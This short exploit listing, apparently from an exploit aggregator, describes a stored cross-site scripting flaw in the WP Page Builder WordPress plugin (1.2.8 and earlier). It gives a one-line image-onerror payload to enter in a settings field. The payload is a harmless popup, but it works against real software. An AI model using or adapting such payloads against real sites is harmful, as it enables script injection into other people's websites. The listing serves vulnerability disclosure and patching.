Exploit for WP Page Builder <= 1.2.8 - Admin+ Stored Cross-Site
Exploit Code
## https://sploitus.com/exploit?id=WPEX-ID:98B2321D-FB66-4E02-9906-63AF7B08D647
Navigate to Setting » add the payload: "><img src=x onerror=confirm(document.domain)>, into "Content Width & Gutter" to trigger the popup.